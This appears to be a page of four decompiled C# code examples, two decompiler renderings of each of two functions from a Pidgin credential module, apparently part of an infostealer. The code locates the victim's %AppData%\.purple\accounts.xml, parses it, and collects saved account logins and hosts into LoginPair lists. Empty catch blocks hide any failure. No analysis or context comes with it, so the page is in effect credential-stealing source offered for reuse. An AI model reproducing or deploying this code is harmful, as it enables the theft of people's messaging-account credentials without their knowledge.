Example #1
0
        // Token: 0x0600028B RID: 651 RVA: 0x0000A208 File Offset: 0x00008408
        public static List <LoginPair> ParseConnections()
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                string path = string.Format("{0}\\.purple\\accounts.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
                if (File.Exists(path))
                {
                    list.AddRange(Pidgin.ParseCredentials(path));
                }
            }
            catch
            {
            }
            return(list);
        }
Example #2
0
        public static List <LoginPair> ParseConnections()
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                string str = string.Format("{0}\\.purple\\accounts.xml", (object)Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
                if (File.Exists(str))
                {
                    loginPairList.AddRange((IEnumerable <LoginPair>)Pidgin.ParseCredentials(str));
                }
            }
            catch
            {
            }
            return(loginPairList);
        }
Example #3
0
        // Token: 0x0600028C RID: 652 RVA: 0x0000A258 File Offset: 0x00008458
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                XmlTextReader reader      = new XmlTextReader(Path);
                XmlDocument   xmlDocument = new XmlDocument();
                xmlDocument.Load(reader);
                foreach (object obj in xmlDocument.DocumentElement.ChildNodes)
                {
                    LoginPair loginPair = Pidgin.ParseAccounts((XmlNode)obj);
                    if (loginPair.Login != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        list.Add(loginPair);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Example #4
0
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                XmlTextReader xmlTextReader = new XmlTextReader(Path);
                XmlDocument   xmlDocument   = new XmlDocument();
                xmlDocument.Load((XmlReader)xmlTextReader);
                foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes)
                {
                    LoginPair accounts = Pidgin.ParseAccounts(childNode);
                    if (accounts.Login != "UNKNOWN" && accounts.Host != "UNKNOWN")
                    {
                        loginPairList.Add(accounts);
                    }
                }
            }
            catch
            {
            }
            return(loginPairList);
        }